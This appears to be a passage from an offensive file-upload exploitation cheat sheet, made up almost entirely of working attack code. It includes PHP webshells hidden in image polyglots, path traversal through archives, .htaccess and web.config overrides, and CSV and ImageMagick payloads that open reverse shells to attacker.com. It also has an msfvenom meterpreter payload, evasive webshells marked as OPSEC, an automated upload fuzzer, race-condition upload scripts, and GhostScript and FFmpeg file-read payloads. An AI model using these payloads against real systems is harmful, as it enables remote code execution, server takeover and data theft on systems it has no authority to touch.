fill 'url(https://attacker.com/shell.php"|bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
pop graphic-context
EOF
# Advanced: Create polyglot file (valid image AND PHP)
cat > polyglot.php << 'EOF'
GIF89a
<?php
// This file is both a valid GIF and PHP script
system($_GET['cmd']);
?>
EOF
Advanced Upload Techniques#
# Polyglot files (valid image + webshell)
# Method 1: Using exiftool (recommended)
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" legitimate.jpg
mv legitimate.jpg shell.php.jpg
# Method 2: Manual hex editing
# Open image in hex editor, append PHP code at the end
# Method 3: Python script for polyglot creation
cat > create_polyglot.py << 'EOF'
#!/usr/bin/env python3
import sys
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <image.jpg> <output.php.jpg>")
sys.exit(1)
with open(sys.argv[1], 'rb') as f:
image_data = f.read()
php_payload = b'<?php system($_GET["cmd"]); ?>'
with open(sys.argv[2], 'wb') as f:
f.write(image_data)
f.write(b'\n')
f.write(php_payload)
print(f"[+] Polyglot created: {sys.argv[2]}")
EOF
chmod +x create_polyglot.py
python3 create_polyglot.py image.jpg shell.php.jpg
# Zip file uploads (if extracted automatically)
# Create zip with directory traversal
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip -r upload.zip ../../webroot/shell.php
# Alternative: symbolic link in zip
ln -s /etc/passwd link.txt
zip --symlinks upload.zip link.txt
# .htaccess upload (Apache configuration override)
echo "AddType application/x-httpd-php .jpg" > .htaccess
# Then upload shell.jpg
# Alternative .htaccess payloads
AddHandler php5-script .jpg
AddHandler x-httpd-php .jpg
AddType application/x-httpd-php .gif
SetHandler application/x-httpd-php
# Modern .htaccess techniques
AddType application/x-httpd-php .png .gif .jpg
php_flag engine on
php_value auto_prepend_file shell.php
# web.config upload (IIS configuration)
cat > web.config << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="PHP_via_FastCGI"
path="*.jpg"
verb="*"
modules="FastCgiModule"
scriptProcessor="C:\PHP\php-cgi.exe"
resourceType="Unspecified" />
</handlers>
</system.webServer>
</configuration>
EOF
# Archive-based attacks (TAR with directory traversal)
echo '<?php system($_GET["cmd"]); ?>' > shell.php
tar -cf exploit.tar --transform 's|shell.php|../../../var/www/html/shell.php|' shell.php
# Self-extracting archives (RAR with overwrite)
rar a -ep1 -o+ exploit.rar ../../../webroot/shell.php
# CSV injection (if CSV files processed server-side)
cat > malicious.csv << 'EOF'
=cmd|'/bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1'!A1
=WEBSERVICE("http://attacker.com/?data="&A1)
=IMPORTXML("http://attacker.com/xxe.xml", "//x")
EOF
# Excel macro injection (XLSX with macros)
# Create XLSX with malicious macro using msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f vba
# PDF with embedded JavaScript
cat > malicious.pdf << 'EOF'
%PDF-1.4
1 0 obj
/Type /Catalog
/Pages 2 0 R
/OpenAction 3 0 R
>>
endobj
3 0 obj
/S /JavaScript
/JS (app.alert('XSS');)
>>
endobj
EOF
# OPSEC: Time-delayed execution
cat > delayed.php << 'EOF'
<?php
// Execute after 24 hours
if (time() > filemtime(__FILE__) + 86400) {
system($_GET['cmd']);
}
?>
EOF
# OPSEC: Conditional execution (only from specific IP)
cat > conditional.php << 'EOF'
<?php
if ($_SERVER['REMOTE_ADDR'] == 'ATTACKER_IP') {
system($_GET['cmd']);
} else {
// Show benign content
echo "Image uploaded successfully";
}
?>
EOF
File Upload Fuzzing#
# Comprehensive file upload testing script
#!/bin/bash
# Usage: ./upload_fuzzer.sh http://target.com/upload output_dir
target_url="$1"
output_dir="$2"
webshell='<?php system($_GET["cmd"]); ?>'
mkdir -p "$output_dir"
echo "[*] Starting file upload fuzzing on: $target_url"
# Phase 1: Extension fuzzing
echo "[*] Phase 1: Testing extensions"
extensions=(
"php" "php3" "php4" "php5" "php7" "phtml" "phps" "phar"
"asp" "aspx" "cer" "asa" "ashx"
"jsp" "jspx" "jsw" "jsv"
"pl" "cgi" "py" "rb" "sh"
)
# Test magic bytes
magic_bytes=(
"GIF89a"
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" # PNG
"\xFF\xD8\xFF\xE0" # JPEG
"%PDF-1.4" # PDF
"PK\x03\x04" # ZIP
)
for ext in "${extensions[@]}"; do
for magic in "${magic_bytes[@]}"; do
filename="test_${RANDOM}.${ext}"
filepath="$output_dir/$filename"
echo -e "${magic}${webshell}" > "$filepath"
echo "[*] Testing: $filename"
response=$(curl -s -X POST "$target_url" \
-F "file=@$filepath" \
-w "\n%{http_code}")
http_code=$(echo "$response" | tail -n 1)
if [ "$http_code" == "200" ] || [ "$http_code" == "201" ]; then
echo "[+] SUCCESS: $filename uploaded (HTTP $http_code)"
echo "$filename" >> "$output_dir/successful_uploads.txt"
# Try to access uploaded file
upload_path=$(echo "$response" | grep -oP '(?<=uploads/)[^"]+' | head -1)
if [ ! -z "$upload_path" ]; then
test_url="${target_url%/*}/$upload_path"
echo "[*] Testing access: $test_url?cmd=id"
access_response=$(curl -s "$test_url?cmd=id")
if echo "$access_response" | grep -q "uid="; then
echo "[+] WEBSHELL ACTIVE: $test_url"
echo "$test_url" >> "$output_dir/active_shells.txt"
fi
fi
fi
sleep 0.5 # OPSEC: Rate limiting
done
done
# Phase 2: Bypass technique fuzzing
echo "[*] Phase 2: Testing bypass techniques"
bypass_techniques=(
"shell.php%00.jpg"
"shell.php."
"shell.PHP"
"shell.jpg.php"
"shell.phtml"
"shell.php::$DATA"
"shell.php%20"
"shell.php/"
)
for technique in "${bypass_techniques[@]}"; do
filepath="$output_dir/bypass_test.tmp"
echo -e "GIF89a\n${webshell}" > "$filepath"
echo "[*] Testing bypass: $technique"
curl -s -X POST "$target_url" \
-F "file=@$filepath;filename=$technique" \
-w "\n%{http_code}" | tee -a "$output_dir/bypass_results.txt"
sleep 0.5
done
# Phase 3: Content-Type fuzzing
echo "[*] Phase 3: Testing Content-Type bypasses"
content_types=(
"image/jpeg"
"image/png"
"image/gif"
"application/octet-stream"
"text/plain"
"application/x-php"
)
for ct in "${content_types[@]}"; do
filepath="$output_dir/ct_test.php"
echo -e "GIF89a\n${webshell}" > "$filepath"
echo "[*] Testing Content-Type: $ct"
curl -s -X POST "$target_url" \
-F "file=@$filepath;type=$ct" \
-w "\n%{http_code}" | tee -a "$output_dir/content_type_results.txt"
sleep 0.5
done
echo "[*] Fuzzing complete. Results saved to: $output_dir"
# Modern tool: Upload Scanner (Burp extension)
# Install via BApp Store in Burp Suite
# Alternative: Nuclei template for file upload
nuclei -u "$target_url" -t ~/nuclei-templates/vulnerabilities/file-upload/
# OPSEC: Automated cleanup after successful upload
cat > cleanup.sh << 'EOF'
#!/bin/bash
# Remove uploaded shells after testing
shells_file="$1"
while read shell_url; do
echo "[*] Attempting to delete: $shell_url"
curl -s -X DELETE "$shell_url"
# Or use uploaded shell to delete itself
curl -s "${shell_url}?cmd=rm%20${shell_url##*/}"
done < "$shells_file"
EOF
chmod +x cleanup.sh
Race Condition Exploits#
# Modern race condition upload attack
#!/bin/bash
# Usage: ./race_upload.sh http://target.com/upload
target="$1"
check_url="http://target.com/uploads/shell.php"
threads=10
echo "[*] Starting race condition attack"
# Create benign file
echo "Harmless content" > benign.txt
# Create malicious file
echo '<?php system($_GET["cmd"]); ?>' > malicious.php
# Function to upload benign file
upload_benign() {
while true; do
curl -s -F "file=@benign.txt;filename=shell.php" "$target" &
sleep 0.01
done
}
# Function to upload malicious file
upload_malicious() {
while true; do
curl -s -F "file=@malicious.php;filename=shell.php" "$target" &
sleep 0.01
done
}
# Function to check if shell is accessible
check_shell() {
while true; do
response=$(curl -s "$check_url?cmd=id")
if echo "$response" | grep -q "uid="; then
echo "[+] Race condition successful!"
echo "[+] Webshell accessible at: $check_url"
pkill -P $$ # Kill all child processes
exit 0
fi
sleep 0.001
done
}
# Start attack with multiple threads
for i in $(seq 1 $threads); do
upload_benign &
upload_malicious &
done
# Start checker
check_shell &
# Wait for success or timeout
sleep 30
echo "[-] Race condition attack timed out"
pkill -P $$
# Cleanup
rm -f benign.txt malicious.php
# Alternative: Python-based race condition script
cat > race_condition.py << 'EOF'
#!/usr/bin/env python3
import requests
import threading
import time
target_url = "http://target.com/upload"
check_url = "http://target.com/uploads/shell.php"
success = False
def upload_benign():
files = {'file': ('shell.php', b'Harmless content', 'text/plain')}
while not success:
try:
requests.post(target_url, files=files, timeout=1)
except:
pass
def upload_malicious():
files = {'file': ('shell.php', b'<?php system($_GET["cmd"]); ?>', 'application/x-php')}
while not success:
try:
requests.post(target_url, files=files, timeout=1)
except:
pass
def check_shell():
global success
while not success:
try:
r = requests.get(f"{check_url}?cmd=id", timeout=1)
if 'uid=' in r.text:
print(f"[+] Shell active at: {check_url}")
success = True
return
except:
pass
time.sleep(0.001)
# Start threads
threads = []
for i in range(10):
t1 = threading.Thread(target=upload_benign)
t2 = threading.Thread(target=upload_malicious)
t1.start()
t2.start()
threads.extend([t1, t2])
checker = threading.Thread(target=check_shell)
checker.start()
# Wait with timeout
checker.join(timeout=30)
success = True
for t in threads:
t.join(timeout=1)
print("[*] Race condition attack complete")
EOF
chmod +x race_condition.py
python3 race_condition.py
Modern Cloud Storage Upload Attacks#
# AWS S3 bucket upload exploitation
# If application uploads to S3 with predictable names
# Test for public write access
aws s3 cp shell.php s3://target-bucket/uploads/shell.php --acl public-read
# If successful, access via:
# https://target-bucket.s3.amazonaws.com/uploads/shell.php
# Pre-signed URL exploitation
# If app generates pre-signed URLs, try to upload malicious file
curl -X PUT "https://target-bucket.s3.amazonaws.com/uploads/file.jpg?X-Amz-Algorithm=..." \
-H "Content-Type: image/jpeg" \
--data-binary @shell.php.jpg
# Azure Blob Storage upload
# Test for public write container
az storage blob upload \
--account-name targetaccount \
--container-name uploads \
--name shell.php \
--file shell.php \
--account-key "KEY_IF_KNOWN"
# GCP Cloud Storage upload
gsutil cp shell.php gs://target-bucket/uploads/
# OPSEC: Server-side file processing exploitation
# If server processes images (resize, convert, etc.)
# ImageMagick exploitation (2025 still relevant)
cat > exploit.svg << 'EOF'
<image authenticate='ff" `echo $(id) > /var/www/html/output.txt`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg">
<image xlink:href="msl:exploit.svg" height="100" width="100"/>
</svg>
</image>
EOF
# FFmpeg exploitation (video/audio processing)
cat > exploit.avi << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/payload.txt|file:///etc/passwd
#EXT-X-ENDLIST
EOF
# PIL/Pillow exploitation (Python image processing)
# Create malicious image that triggers RCE when processed
# GhostScript exploitation (PDF/PS processing)
cat > exploit.ps << 'EOF'
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id > /tmp/output) currentdevice putdeviceprops
EOF